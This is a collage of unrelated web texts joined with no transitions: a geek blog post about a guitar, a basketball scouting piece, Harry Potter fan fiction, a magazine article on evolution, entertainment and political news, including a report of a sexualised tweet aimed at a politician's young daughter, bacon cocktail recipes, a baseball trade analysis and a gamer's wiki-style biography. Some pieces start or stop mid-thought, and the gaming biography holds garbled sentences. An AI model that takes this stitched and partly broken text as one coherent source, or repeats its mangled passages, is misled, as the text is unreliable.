This amazing custom Star Wars Millennium Falcon guitar isn’t the first Millennium Falcon guitar we have posted (this one is) but I think it is the best looking. If I played a musical instrument (I have no plans to start), I would probably play the guitar just so I could have a guitar this awesome. However, I would be a bit worried about playing this because I would probably accidentally snap the communications dish off. If you are a musician and have any geeky instruments, tell us about them in the comments!
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So what’s the big deal about Marcus? Let’s be honest, unless you’re a college basketball freakshow who pays to get ESPN12, you have probably only seen him play, max, maybe a handful of times in the last year. The kid is a beast.
Check out this quick highlight video from ESPN to get an idea. At 6-4, 225 pounds, he’s like a forward in a PGs body (a sentiment echoed in the video). He can shoot from distance, pass, rebound, defend, and has shown signs that he can put guys in the chamber on the post if need be. He’s not an outrageous athlete, but he knows how to use his size and strength to his advantage – and he’s only going to get better.
To show you how highly the NBA thinks of this kid, one draft expert thinks the Orlando Magic would have considered taking him with the No. 1 overall pick.
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"You're not Professor Quirrell!" cried a particularly foolish second year Slytherin student. Professor Lockhart simply nodded gravely without speaking a word. Three minutes later, there was a quick hum throughout the room as the monitors activated, and the Defense Professor began to speak. Ginny took note of one addition to the classroom that she remembered from no description of Monroe's class: some enormous object covered in shapeless cloth, behind the desk and Lockhart himself.
"Good evening, Hogwarts," said Professor Lockhart. "I trust that you have all already attended your first lesson from the seventh year generals?"
"Yes!" said Ginny, and so did all of her classmates, or at least all of them who felt like responding. It had been a particularly life-changing lecture, and it had excited her at least for the army-based portions of the Defense class. She wished she could have heard it from David Monroe directly, but the seventh years did quite a good enough job.
"Then you have already heard Professor Quirrell's introductory lecture," said Professor Lockhart. "'One Killing Curse Will Bring It Down'. Am I correct?" Another general shout of affirmation. "I read his notes on that lecture. He was a fantastic man and a fantastic Professor, and that lecture was fantastically composed. However..." The class nearly gasped. Who was this man, to append a 'however' to praise of Professor Quirrell?
"However, for all of its wisdom, the lecture accidentally implied things that are outright false and dangerous," said Professor Lockhart. "One Killing Curse will not always bring it down. Who can name a situation where you are in mortal peril and the words Avada Kedavra will not save your life?" Hands shot up. "Yes, Mr. Potter?"
"If you're facing the Wizengamot," said Harry. Professor Lockhart laughed, surprised.
"Mr. Potter has cut straight to the point," said Professor Lockhart. "Absolutely correct, though you're jumping a bit ahead. I've had my run-ins with the law-"
"I know," said Harry. "Last year I heard-"
"-but I'd prefer not to discuss them in public, Mr. Potter," said Professor Lockhart, making Harry feel very stupid. "I would like to clarify that I have never been indicted for anything and I even have the pleasure to truthfully say that I never saw Azkaban while it was an operational prison. Anyway, Mr. Potter is absolutely correct; if you are outnumbered and outgunned, the Killing Curse will not be of much help. At best you will take one of your enemies with you in death, and that is doubtful. Can anyone name another deadly scenario, preferably one related to combat, where the Killing Curse will not save your life? Yes, Miss Lovegood?"
"If you're breaking into Gringotts to save the love of your life from Minister Fudge and suddenly he jumps out from behind a rock and sends Fiendfyre at you," said Luna.
"A very specific situation," said Professor Lockhart, "and I must admit that I cannot imagine why the Minister of Magic would do such a thing. But correct. Fiendfyre is a very Dark curse that behaves like a living being but is not technically alive and is not responsive to the Killing Curse in the least. However, it dies out shortly after the death of its caster, and therefore the Killing Curse might be useful in such a situation, so perhaps it is not a good example. Does anybody else have any ideas? Yes, Miss Granger?"
"If you personally cannot cast it," said Hermione.
"Absolutely correct," said Professor Lockhart. "Many of you will never be able to cast the Killing Curse in your life; that is simply an inherent quality of your being. That does not make you a non-player in combat, and it does not make you unable to kill. A Dark Lady in the nineteenth century, a hundred years ago, thought the only tactically significant offensive spell was the Killing Curse, and foolishly neglected to put up any shielding Charms. The distraught mother of one of her victims hit her with a one-two punch, a Temporary Freezing Charm followed by Repulso, a Charm equivalent to a hard kick in the chest. She was later interviewed and it was determined that she was not capable of casting the Killing Curse – and yet the Dark Evangel was just as dead. She shattered."
"The Boggart is a Dark creature that hides in dark places," said Professor Lockhart. "It is rarely known to be deadly, but it is invariably frightening to those unaware of its nature, and may thus be used as a guardian to keep Muggles and particularly inexperienced wizards away. One Killing Curse will not bring it down; the form of the Boggart that you perceive is not its true form, and its true form is an adept dodger. Only the specialized curse Riddikulus will bring down a Boggart." Somewhere in the room, Harry was laughing about something.
"Professor Quirrell described the Hungarian Horntail to you," said Professor Lockhart, "but failed to mention a critical detail of its anatomy that undermined his point. As with all dragons, only small parts of the fully-grown Hungarian Horntail's neck are truly alive. Its head and the rest of its body are a mechanical construct, assembled over the course of its life by magical forces. One Killing Curse will not bring it down, not unless you hit it in the correct area, which comprises an indescribably tiny percentage of its volume. If you have ever seen a baby dragon, realize that that is your true target, when you try to attack an adult dragon with the Killing Curse."
"The Cornish pixie," said Professor Lockhart, sweeping the sheet off of the object behind him, revealing it to be an enormous birdcage full of thousands of tiny blue winged humanoids, all rather sleepy, "is a magical creature that shows some mild degree of intelligence. It is, however, generally found in groups, and as the size of the group increases, so too does its aggression. In quantities of a dozen or more, they can easily be deadly. If I released the hive that you see before you from their magical bindings, all of you would probably die; even if I were teaching a class of Aurors there would likely be some casualties. One Killing Curse will not bring it down, if by 'it' you mean the hive as a whole rather than the single unlucky specimen that happens to cross the Curse's path." Lockhart set the sheet down on his desk, and as he continued to speak, the buzzing of the pixies slowly increased in volume as the light woke them up, though it never overpowered Lockhart's own voice. "And in case you are unaware, the Killing Curse may not be fired rapidly enough to pose a threat to that hive by taking them out one by one; no curse that targets individuals may do so. Only an area-of-effect spell is a viable strategy here."
"The Dementor is a Dark creature thought to be extinct outside of captivity," said Professor Lockhart, "but this is a foolhardy and misleading way to refer to it. There is a well-known ritual to produce a Dementor from nothing, and over time, vast numbers may be bred from a single specimen. Any new, rising Dark Lord would be likely to have an army of Dementors! A Dementor is the opposite of life, and so one Killing Curse will not bring it down; instead it will thrive on it, and grow stronger and more inclined to reproduce! It was once thought that nothing could kill a fully-grown Dementor, and that it could only be repelled with a Patronus Charm. There are now two wizards in the world who have devised a means to kill a Dementor, and they are both sitting in this room. But I would not count on one of them coming to your aid if you happen to be set upon by a Dementor. The Kiss of a Dementor is invariably fatal to humans and animals and, according to some theologians, denies the recipient their place in Heaven." Ginny balked at that. No omnibenevolent God would permit such a thing. The pixies were truly beginning to stir, now; Lockhart quickly turned around and applied a Quieting Charm to their cage.
"The Lethifold is an infant Dementor," said Professor Lockhart. "It is exceedingly rare, as Dementors mature quickly and remain in the final stage of their anti-life indefinitely. It may be killed by a unicorn, which you are also unlikely to have handy when one is sicced on you, and, though it too may be repelled by a Patronus, you will not have much time to cast one; a Lethifold is undetectable by any science or magic until it has closed in for its kill; you will be at arm's length when you first notice it. The creator of a Lethifold may command it as a weapon. The only way to truly insulate your home against an assassination attempt involving a Lethifold is to seal it completely, so that not even air may enter or exit. That, or have the perimeter patrolled by unicorns twenty four hours a day, seven days a week, who will attempt to inform you of the Lethifold's presence even if they do not manage to kill it themselves. But one Killing Curse will not bring it down." Ginny thought she had heard something about the Peverell Family Hospital having a regular unicorn patrol; she wondered why neither Hogwarts nor the Ministry of Magic had one.
"The Nundu," said Professor Lockhart, and he was getting so emotional that he was visibly struggling to maintain his composure, "is a communal organism that occasionally forms from forty or more Dementors. One Killing Curse will not bring it down! One Patronus will not send it away! One wizard will not overcome it! The existence of a single Nundu anywhere in the world at any given time is a disaster beyond imagination! A Nundu is fully autonomous, and may not be commanded by anybody, regardless of their relationship to its creation! It debilitates and kills simply by proximity, and proximity is defined here in terms of miles! In times immemorial, a single Nundu could wipe out an entire nation and leave no record that it ever existed! The only known way to defeat a Nundu is through the simultaneously-cast Patronuses of at least eighty wizards – in a real-world situation, the number of Patronuses required is inevitably greater than a hundred – which decompose the Nundu into Dementors, which are comparatively very manageable! We are all very lucky that the Nundu has been kept out of the developed magical countries entirely; the creation of a Nundu in Magical Britain would be a horror on par with the detonation of an atomic bomb in London! The atomic bomb is a Muggle weapon that uses no magic at all but destroys an entire large city in a single blast! One Killing Curse will not bring it down, either!" Professor Lockhart took a deep breath, to restore his calm.
"The history of humanity," said Professor Lockhart, "and not just the history of wizardkind, but the history of humanity, is the history of tools. Tool creation and tool use are among the features of our intellect that separates the being from the beast. The Killing Curse is a particularly effective tool in combat, because the only counter to it is to dodge, but it would be foolhardy to select a single tool from your kit to use in all situations!" Lockhart paused a bit longer than he had originally intended. "When all you have is a hammer, everything begins to look like a nail, but that does not mean everything is a nail, and the Killing Curse is not always the best attack! Sometimes the tool to use is Apparition. Sometimes, the tool to use is Frigideiro-Repulso. Sometimes, the tool to use is a Lethifold. Sometimes, as the Dark Lord Voldemort, He-Who-May-Now-Be-Named, demonstrated last year using Miss Granger, the tool to use is even a mountain troll, and it is completely vulnerable to the Killing Curse! Anybody, whether they are a Muggle or a wizard or a goblin or something else, should have as diverse of a toolkit as possible, to cover as many scenarios as possible. As wizards, none of you have any excuse not to learn a wide variety of distinct spells with distinct applications. If one seems particularly generically useful, take note of that, but do not allow yourself to write off other, more specialized techniques that might someday prove necessary." The pixies' cage was beginning to vibrate worryingly.
"One last note," said Professor Lockhart, apparently, "before we begin a hands-on activity. I bet you thought we wouldn't have hands-on activities in this class, because of the system of armies. That is incorrect; though lecture is a worthwhile component of this class, I would not be a worthwhile instructor if it was the only component with which I provided you. I want to keep you all on your toes at all times, so: I am not actually here. About a minute ago, I invisibly left the classroom, in the middle of my lecture, and seamlessly replaced myself with an illusory duplicate delivering a prerecorded message, which should be ending shortly. On my way out, I sealed the classroom doors shut. The cage behind me is Charmed to open when this message ends." The false Lockhart began to flicker, and the entire class panicked. "Do not panic; the pixies have been enchanted to do no significant damage to anybody or their belongings. What precisely is meant by the word 'significant' is for you to decide. Your objective is to use any and all appropriate tools at your disposal to minimize harm to you and yours. In an indefinite period of time, I will return and resolve the situation. Good luck!" Lockhart vanished before everyone's eyes, a tiny door made of golden metal bars swung open, and if it weren't for the Battle Magic room's soundproofing, you would have been able to hear the screams clear across the castle.
"Peskipiksi Pesternomi!" were the first words out of Professor Lockhart's mouth when he returned to his class. Immediately, most of the pixies froze in midair, and began to drift back into their cage. The few that didn't were dead; they had been smashed or beaten to death by crazed students using their textbooks. "A simple anti-pixie spell I invented that I didn't expect any of you to know. No need to memorize it; it is exceedingly unlikely to help you in the real world. I trust that you're all alright. Or fainted." He paused, to allow those in the class who were still conscious to readjust to the pixie-free room.
"So, let's review what you all did," continued Professor Lockhart, now standing back at his podium. "Yes, I was watching, using a monitoring device lent to me by the school. So, first, to most of you, who became so flustered that you did nothing of meaning, attempting and failing to run and hide or simply flailing around swatting at pixies futilely, you have failed this first exercise. Don't feel too bad, though, because you formed a majority both of this class and of humanity, so at least you're not alone. And to those students who spiraled into complete exhaustion by casting too many spells, I will inform you what you did wrong when you wake up; the simple answer is 'you did not listen properly to my lecture and apparently forgot that taking out pixies one at a time with magic is not a viable strategy'."
"To Miss Lovegood," said Professor Lockhart, "I do not know what the blinking device you summoned was, but judging by your condition, it was not very effective." At this point, Luna vomited on her desk; it was quickly Charmed away.
"To Mr. Malfoy," said Professor Lockhart, "your attempt to cast the Concussive Stunning Curse, Immobulus, would have been the best solution presented in the class, had it succeeded. If you would like, I can try to coach you to successfully cast it, but I cannot guarantee that you will learn it quickly. It is not generally considered a second year spell."
"To Mr. Goldstein," said Professor Lockhart, "if your lives were actually in danger, your attempt to contact Headmistress McGonagall using your Patronus would have been the correct thing to do. However, your lives were not in danger, and I had already cleared this activity with the Headmistress, so your solution was of no use to anyone."
"To Miss Granger," said Professor Lockhart, "I'm afraid that you suffered from a rather graver form of Mr. Goldstein's problem. If you had actually been in danger, your solution of hiding yourself and Mr. Potter under the True Cloak of Invisibility would have been a good one. However, in the true situation you faced, where you were in no real danger, this was entirely unnecessary, and, actually worse: the entire class and myself are now aware that you possess one of the most sought-after unique magical artifacts in the world." There were some gasps. Ginny was mostly just thinking that it wasn't at all fair that Hermione got to hide under a cloak with Harry-
"Obliviate," said Professor Lockhart. "Obliviate Maxima." The entire class, Harry and Hermione excluded, blinked simultaneously. "I have taken the liberty of erasing your error, but I hope the lesson is understood." Ginny was not certain what she had just been thinking, except that she had been jealous of Hermione for some reason or another. Well, that was a simple puzzle.
"Yes, Professor," said Hermione.
"Good," said Professor Lockhart. "My mastery of that particular spell, by the way, nearly earned me a high-paying job in the Accidental Magic Reversal Squad, but I found the role of the Hogwarts Defense Professor more... appealing."
"Finally, Miss Weasley," said Professor Lockhart. "You had the winning strategy, and a very Slytherin one, too, even if I do not expect it to make you many friends. Please explain what you did, Miss Weasley." Ginny took a deep breath.
"First, I remembered that pixies are enraged by bright lights and the color red, and are drawn to targets exhibiting these qualities," said Ginny.
"Professor Quirrell would likely have called that useless trivia, but it proved quite useful to you," said Professor Lockhart.
"Then, I remembered the spell Luminos, which causes its target to flash red," said Ginny. "And I cast it on as many of my classmates as possible, to draw the pixies towards them and away from me."
"Very good," said Professor Lockhart. "Miss Weasley has taught the class a valuable lesson today. As the saying goes, if you are being pursued by a mountain troll, you do not need to outrun it, only your companions. I might add that it helps if you trip them. Miss Weasley has demonstrated a vast power over the others in this room in a disaster situation, and that is the power of intelligent betrayal. Ten points to Slytherin. I would like to note that she also had the lucky advantage of possessing the trivia that she did, but this models the unpredictability and unfairness of real life. Class is dismissed, though you may stay behind here for some time if you wish to rest and recover further."
A few minutes later, Professor Lockhart met Ginny on her way out of class.
"Ginevra?" said Professor Lockhart. Ginny nodded. "It's funny. You look exactly like a younger version of your mother. Except for your eyes; they're a different color." Ginny nodded again.
"They're my father's," she said. Professor Lockhart smiled.
(4 of 4)
Biologists have documented a vast amount of gene-swapping among single-celled organisms — which happen to make up most of the diversity of life on Earth. There are 10,000 species of bacteria in a spoonful of dirt, twice as many species as all the mammals in the world. In the genome of a typical microbe, most of the genes hopped from one species to another at some point in the history of life. In some ways, the history of life is indeed like a tree, sprouting new branches. But in some ways, it's also like a tapestry, emerging from a loom, its genetic threads woven together in new combinations.
In the mid-1900s, biologists succeeded in merging the newest biological developments at the time into a new vision of evolution known as the Modern Synthesis. Today a number of biologists argue that it's time for a new understanding of evolution, one that Pigliucci has called the Extended Evolutionary Synthesis. For now, they are fiercely debating every aspect of that synthesis — how important gene-swapping is to the course of evolution, for instance, and how gene networks get rewired to produce new traits.
Some researchers argue that many patterns of nature — such as the large number of species in the tropics — cannot be reduced to the effect of natural selection on individuals. They may be following rules of their own. "Which of these ideas is going to actually survive and prove fruitful is anybody's guess," says Pigliucci. "I don't see things coalescing for at least a decade or more."
Darwin predicted this. "We can dimly foresee that there will be a considerable revolution in natural history," he wrote at the end of On the Origin of Species. He saw his work not as the end of biology but as a beginning.
Putting Evolution to The Test. How does Darwin hold up?
Darwin's microscope. His research, given the technology, was robust
[This article contains a table. Please see hardcopy of magazine or PDF.]
DARWIN TODAY Species share a common ancestry, like branches on a tree Genetic studies confirm that different species have evolved from common ancestors. But DNA has also jumped from one species to another — turning parts of the tree of life into a web Humans evolved from apes in Africa Evidence from DNA indicates that chimpanzees and bonobos are the closest living relatives to humans. Fossils document the course of human evolution in Africa from apelike ancestors over the past 7 million years Natural selection is a powerful force driving evolution Natural selection's fingerprints can be detected in the human genome. But many mutations have spread thanks to pure chance (a process known as genetic drift) Complex traits like eyes can evolve through a series of intermediate steps Fossils have documented some of those steps in structures such as limbs and ears. Studies on DNA have shown how genes for building old organs have been "borrowed" to help build new ones
Zimmer is the author of the forthcoming book The Tangled Bank: An Introduction to Evolution
Portman will take on the role in the upcoming film "On The Basis of Sex," about the obstacles Ginsburg faced during her decades of work toward equal rights for women. "Diary Of A Teenage Girl" director Marielle Heller is in negotiations to direct the biopic.
Ginsburg, who was appointed to the Supreme Court in 1993 by President Bill Clinton, was only the second woman, and the first Jewish woman, to sit on the court.
Nearly 40 years before, Ginsburg was one of just nine women in her class of 500 at Harvard Law School. She finished her studies at Columbia Law School, after moving to New York for her husband's job, and graduated tied for valedictorian in 1959.
Despite her remarkable academic achievement, Ginsburg was unable to land a clerkship with Supreme Court Justice Felix Frankfurter because Frankfurter said that he was not yet ready to hire a woman. She went on to found the Women's Rights Project at the American Civil Liberties Union. As the ACLU's general counsel from 1972 to 1980, she worked on landmark cases before the Supreme Court that led to the removal of laws that treated men and women differently.
Ginsburg was the principal author of a brief on behalf of a female plaintiff in a case called Reed v. Reed, in which the court struck down an Idaho law that said only men could be administrators of an estate. It was the first time the court applied the 14th Amendment, which guarantees equal protection, to laws that discriminated based on sex.
GETTY/TWITTER RAPPER: Lunar C made the comments towards Nigel Farage on Twitter
Lunar C – real name Jake Brook – tweeted a photo of a queue of migrants, claiming showed him and his “pals” on their way to “run a train” on one of the UKIP leader’s daughters. The phrase “run a train” means to line up and take turns to have sex with one woman.
TWITTER TWEET: The tweet was aimed at one of Mr Farage's daughters
Mr Farage’s daughters are aged nine and 15. The post read: “Here’s a pic of me n my pals on our way to run a train on @Nigel_Farage’s daughter” [sic]. The photo attached was the same image used in Mr Farage’s controversial “Breaking Point” poster during the Brexit campaign. Lunar C, from Bradford, has apologised for his remark and deleted the tweet.
Farage's funny faces Nigel Farage has got a bit of a reputation for pulling funny faces. We've put together some of the best. 1 / 14 PA Nigel Farage in defeat
He said: “Hello I just wanted to message you to say I understand your anger at the tweet if that’s the way you took it but in no way was it a threat and nothing I said implied ‘rape’. “I had no idea he had a daughter never mind young daughters which is why I deleted the tweet. "I realise you are using this as a way to get at people who are angry at the referendum but don’t try to twist my words please.
Farage blasted the mainstream media for ignoring the story about Portugal’s president, as reported by Breitbart London, who blocked the eurosceptic parties in his country forming a government. President Silva said last week: “In 40 years of democracy, no government in Portugal has ever depended on the support of anti-European forces, that is to say forces that campaigned to abrogate the Lisbon Treaty, the Fiscal Compact, the Growth and Stability Pact, as well as to dismantle monetary union and take Portugal out of the euro, in addition to wanting the dissolution of NATO”.
And Mr. Farage took the EU to task for it:
“Back in 2011, the Italian Prime Minister Berlusconi, sounding Eurosceptic, removed and replaced by a puppet Prime Minister. We saw exactly the same thing happen in Greece in 2011. Mr Papandreou threatened a referendum on Euro membership. There was a coup against him. He was replaced by a puppet. In this migrant crisis we’ve seen four countries making it clear they want no part of EU migrant quotas only to find themselves crushed through EU trickery…”
“I think all of this has reached a new low this week with Portugal, virtually unremarked upon by the media and yet for those that don’t know there is now following a general election a left wing majority with a socialist plan for Portugal and yet the President of Portugal Mr Silva is refusing them office on the grounds that they represent anti-European forces and is allowing the minority conservative, pro-EU prime minister to stay in place.”
“This is the modern day implementation of the Brezhnev doctrine. This is exactly what happened to states living inside the USSR… a country only has democratic rights if its in favour of the project. If not, those rights are taken away”.
But the best moment of the speech came when Mr. Farage was asked a question from the floor from a pro-EU, former USSR citizen, who appeared to forget what the Brezhnev doctrine said.
“I know you don’t have experience of living in the USSR,” said Marju Lauristin MEP from the Socialist group in Estonia, “Please bring example of where Brezhnev was confronting results of democratic elections in one of USSR’s republics, or er… members”.
Farage shot back: “I wasn’t around at the time of the Hungarian uprising but it did happen and we saw a similar one happening in Czechoslovakia in 1968. Let me tell you what the Brezhnev doctrine says shall I? I’m sure you remember it.
“It says ‘When forces that are hostile to socialism try to turn the development of a socialist country it becomes not only a problem of the country concerned but a common problem and a concern of all socialist countries.’
“I think what you need to do is cross out socialist, and put European Union, and it fits like a glove.”
Nope, you are very much still alive. There truly is a day dedicated to our beloved pork treat. Oh bacon, how we love thee. We have devoted an entire day to celebrate your scrumptious existence. According to Wikipedia, the free Encyclopedia, “International Bacon Day or Bacon Day is an unofficial observance, often celebrated on the Saturday before US Labor Day (the first Monday of September)… Bacon day celebrations typically include social gatherings during which participants create and consume dishes containing bacon, including bacon-themed breakfasts, lunches, dinners, desserts, and drinks.”
Well, there you have it. Permission to indulge in all that is bacon. Because you know that once it’s been published on the internet, it must be real. And you must observe this day of devout love for pan-fried pork goodness. Start calling your neighbors, invite the family, text your friends, gather the kids… Join together in celebration of epic bacon proportions! Bring on the bacon dishes and bacon drinks! Yes, bacon drinks! Bacon goes well with booze, right? Sure, it does. Bacon goes well with everything! And if you don’t know how to make a bacon drink, we’ll help you out. Here are a couple of gourmet drink and food recipes that are sure to impress the most knowledgeable swine connoisseur:
The Bloody Mary Sue-eee
1 oz. Vodka
3 oz. Tomato Juice
2 oz. Bacon Hot Sauce
A couple dashes of Bacon Salt Peppered
A couple dashes of lemon juice
Garnish with a couple of strips (or more if you’d like!) of Coastal Caliente Jalapeno Bacon (cooked)
(Grab a cocktail shaker and add ice. Combine ingredients into the shaker. Shake and pour into a glass. Add the bacon in place of a celery stick. Add olives if you would like.)
Pair this bacon version of a Bloody Mary with some bacon wrapped hot dogs and you’re good to go! For an appetizer, wrap up some garlic stuffed olives with a half slice of bacon, place a toothpick in the center to hold the bacon and olive together, and bake until crisp.
Feel like indulging in the fancier side of swine? Want to impress your friends and make the ladies “squeal”? Try this gourmet martini on for size. It’s a One-Size-Fits-All-Who-Love-Bacon.
The Bacon Appletini
2 oz. Vanilla vodka
1 oz. Amaretto
1 oz. of Baby Bubba’s Gourmet Apple Syrup
Half a strip (or two) of Baby Bubba’s Apple Cinnamon Bacon (cooked) to garnish
(And remember, this martini is “bacon”, not stirred. Combine all ingredients into a cocktail shaker over ice, then pour into your favorite martini glass. The bacon slice will float beautifully on the top, adding its savory-sweet flavor.)
For a delightfully decadent sandwich to pair up with this swanky swine-tini, try this recipe:
Swiss Apple Bacon Melt
1 sliced green apple
2 pieces cinnamon raisin pumpernickel bread
4 slices of bacon
2 pieces Swiss cheese
Directions:
Butter bread on one side of each piece
Place a slice of Swiss on one slice of bread.
Add sliced apples and slices of bacon. Top off with second slice of cheese and other piece of bread.
Add butter to sauté pan on medium heat. Add sandwich with butter side of bread into the pan.
Cook for 3-4 minutes or until cheese is melted. Flip sandwich and repeat.
There you have it folks. A rockin’ good start to celebrate International Bacon Day in style! Mark your calendars for International Bacon Day! To help you celebrate this pig-tastic day, grab a delicious bacon bundle of six different kinds of flavored bacon. In this bundle, you will find the Coastal Caliente Jalapeno Bacon and Baby Bubba’s Apple Cinnamon Bacon needed to make your bacon cocktails!
Enjoy the bacon and spread the bacon love!
(Swiss Apple Bacon Recipe: Jahn Kirchoff and Mike Maler of Lane Cafe and Tavern
After a rather quiet start to the Padres’ trade deadline season, things have finally picked up, as the Padres made a move that sent right-handed pitchers Brandon Maurer and Trevor Cahill, in addition to left-handed pitcher Ryan Buchter, to Kansas City in exchange for left-handers Travis Wood and Matt Strahm, as well as 18-year-old rookie ball prospect Esteury Ruiz.
While Wood is somewhat of a known commodity, Strahm and Ruiz are both still prospects, although Strahm had a good deal of playing time at the big league level this season.
In terms of scouting reports, Strahm is the more known commodity, as he has already progressed through the Royals’ farm system and made his big league debut.
Originally drafted in the 21st round of the 2012 MLB draft, Strahm had a great deal of success as he made his way up the minor league ladder, posting sub-3.00 ERAs at almost every stop.
After throwing 22 innings for the Royals out of the bullpen last season, to the tune of a 1.23 ERA and 2.06 FIP, Strahm struggled in his second go-around at the big league level this year. In 34 and two-thirds innings before being shut down for the season earlier this month, Strahm posted a 5.45 ERA and 5.43 FIP with a bloated 14.3 percent walk rate. However, based on his performance from last year, his injury problems this year, and his minor league past, it appears that Strahm still has what it takes to excel as a major league starter.
With above average grades on all his pitches and his command, including a mid-90s fastball and potentially devastating curve, Strahm still looks the part of a top prospect.
He is set to miss the remainder of this season, but odds are he will fight for a Padres rotation spot next spring.
The real prize in this deal was 18-year-old Esteury Ruiz, who was originally signed by the Royals out of the Dominican Republic in 2015 at the age of 16. Ruiz first garnered some attention after slashing .313/.378/.512 in 217 at bats in the DSL last summer. Ruiz has followed that up with an even more impressive start to his stateside professional career, as he has slashed .419/.440/.779 over his first 86 AZL at bats. With 10 doubles, six triples, and three home runs, Ruiz is currently absolutely mashing as an 18-year-old in rookie ball. He’s still built rather “wiry”, as he was last listed as 6’0”, 150 pounds, but he makes surprisingly solid contact for a player of his smaller stature. According to Ben Badler of Baseball America:
“He squares up the ball for high contact frequency and smashes the ball with authority, generating loft and in-game power. It’s an exciting combination of hitting ability and power, especially once he adds strength that should give him a chance to hit 25 home runs. Ruiz played a little bit of shortstop last year but spent most of his time at second base. He looks more comfortable at second base and he doesn’t have the typical quickness for shortstop, so he probably fits best at second base going forward. He’s around an average runner with an average arm, with a chance to grow into an offensive-minded second baseman in the mold of Alfonso Soriano.”
That’s a lot of high praise from a very well-respected baseball mind. I know this may be a bit of a superfluous comparison at this point, but this is reminding me a lot of the Fernando Tatis Jr. trade. When Tatis was acquired, he was still smaller in stature with lots of potential, but now he has grown into his size and is really starting to take off. On top of that, Tatis was also not ranked on the White Sox top-30 prospect list before the trade. Ruiz was nowhere to be found on the Royals top-30 list either. While Strahm is a great get in this trade, Ruiz may end up being the crown jewel years down the road.
Here’s a small clip of Esteury Ruiz pic.twitter.com/HkoNmnQpuY — Rafa Nieves (@mlb_agent) July 25, 2017
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Haag is a Major League Gaming (MLG) X Games 2014 gold medalist and 2011 Call of Duty XP World Champion, winning Best e-sports player at The Game Awards 2014.[3][4][5] He is a former Red Bull eSports athlete[6] and participates in the Twitch streaming program.[7] Haag is also sponsored by several gaming hardware companies, including Astro Gaming and Scuf Gaming. He also runs a very active YouTube channel with over 2.9 million subscribers and over 270 hours of content.[8]
In April 2015, shortly after the Call of Duty Championship 2015, NaDeSHoT announced that he was leaving OpTic as a player and taking a leave of absence from competitive gaming. In 2016, Haag created his own competitive gaming team, called 100 Thieves, which began playing in the Call of Duty World League during Black Ops 3 season.[9] 100 Thieves subsequently expanded into League of Legends and Counter Strike: Global Offensive, signing League players including Meteos and Aphromoo and the ex-Immortals roster for CS:GO in late 2017.[10][11] The CS:GO roster was released in January due to visa issues.[12]
Career
Early career
Haag's gaming handle, "NaDeSHoT" originates from "grenade shot", a lethal move in the Halo series in which a grenade is followed by a gunshot[1][2] Haag was a competitive amateur in the first-person shooter Halo 2, but switched to the third-person tactical shooter series, Gears of War after getting the game as a Christmas present.[2] He narrowly missed qualifying for MLG Chicago in Gears of War play by one slot in 2007. At the age of 16 he made his professional debut on Call of Duty 4: Modern Warfare.[13]
OpTic career
Haag has been a member of OpTic Gaming since June 2010,[2] when he first joined the OpTic Clan competitive team. In 2014, he became the captain of OpTic Gaming after Will "BigTymer" Johnson resigned. Haag recently stepped down as OpTic Gaming's captain after a seventh-place finish at the 2015 Call of Duty Championship tournament. Nadeshot then decided to leave OpTic clan in 2016. OpTic Gaming is now composed of Damon "Karma" Barlow, Seth "Scump" Abner, Matthew "Formal" Piper and Ian "Crimsix" Porter.[14]
Call of Duty: Black Ops 2010–11 season
Haag was dropped from the team for the Call of Duty: Black Ops 2011 season which was the first season of Call of Duty on the Major League Gaming circuit since Call of Duty 4: Modern Warfare. He briefly returned to the OpTic Competitive team, replacing a player who felt ill, at MLG Dallas where OpTic Gaming finished 3rd with virtually no practice as a squad. Subsequently, after mentioning the possibility of replacing the team mate that had fallen sick he did not get picked up. Haag played on several different teams in the professional scene and created his own OpTic Nation competitive team and started making videos and streaming footage. For the next two events he played for Team EnVyUs finishing 8th at MLG Anaheim and then 3rd at MLG Raleigh before playing on Surreal Legacy for the final two events of the year placing 7th at MLG Orlando and then finishing 15th at the MLG Providence national championships to finish off the Call of Duty: Black Ops Major League Gaming season. But later got beat by a team by the name of Inspire Gaming[15]
Call of Duty: Modern Warfare 3 2011–12 season
With Call of Duty: Modern Warfare 3 looming, Call of Duty announced Call of Duty XP where Activision hosted a $1 million tournament to showcase the newest edition of the franchise. With 2 members of the OpTic Gaming team not being available it to the Grand Final. They took t doni3-1 and Haag pocketed $100,000 with his team winning $400,000 and the trophy.[2]
Call of Duty: Black Ops II 2012–13 season
Treyarch were to make Call of Duty: Black Ops II which was the second game in the Black Ops franchise. The game was a success competitively and attracted a bigger audience through the season. With Frag Cup 4, an annual online tournament at the start of a new Call of Duty title, coming up a member of the OpTic Gaming competitive team was unable to play due to gambling restrictions in his province, and after impressing early on in the game, OpTic Gaming picked up Haag, who rejoined the OpTic Gaming competitive team on a permanent basis. They finished in the 7th/8th position in Frag Cup 4 before going to the first LAN event which was UMG Chicago. OpTic Gaming started the tournament strong, making their way to the finals without losing. The team then lost the first series in the final. However, because they were the winners of the 'winners final' the match went into a final and decisive series, in which they were able to win 3-2 and become the first Call of Duty: Black Ops II champions.
The next tournament was MLG Dallas. Here, the top 8 teams qualified to compete at that year's Call of Duty Championships, which was an annual $1,000,000 event. Haag and OpTic Gaming went on to finish in the 5th/6th position.[16]
At the Call of Duty Championships, OpTic Gaming finished in third place losing to the eventual winners of the tournament. They then played in Gfinity 1 (G1) in London, United Kingdom and MLG Anaheim in Anaheim, California where were placed in third respectively at both events.[17] The next event Haag attended was Gfinity (G2) in London. However, their new roster finished 9th–12th.[17] Their performance at the MLG Fullsail Invitational, where the four highest ranked Black Ops II teams competed, (and which was to be OpTic Gaming and MLG's final event of the Call of Duty: Black Ops 2 competitive season) was much improved, finishing in second place.In first was a team by the name of Inspire Gaming[16]
Call of Duty: Ghosts 2013–14 season
The next title of the Call of Duty franchise was Call of Duty: Ghosts which MLG announced that it would be their featured FPS title for the upcoming season again. Haag and OpTic Gaming disappointed at both of their first two events which were to be MLG Columbus (13–16th place) and UMG Philadelphia (9–12th place) before a roster change occurred with one player retiring, two leaving and one later rejoining. During this time Haag teamed with Christopher Duarte, who goes by the name of 'Parasite'. At this time, the team consisted of 'NaDeSHoT', 'Clayster', 'Ricky' and 'Parasite'. However, after only a handful of days, 'Parasite' and 'Ricky' left OpTic to join Curse Las Vegas. OpTic then picked up 'Saints' and 'MBoZe', before 'Scumpii' rejoined OpTic to replace the departing 'Saints', who returned to Strictly Business. After the retirement of 'BigTymer' following UMG Philadelphia, Haag became the captain of OpTic Gaming.[16]
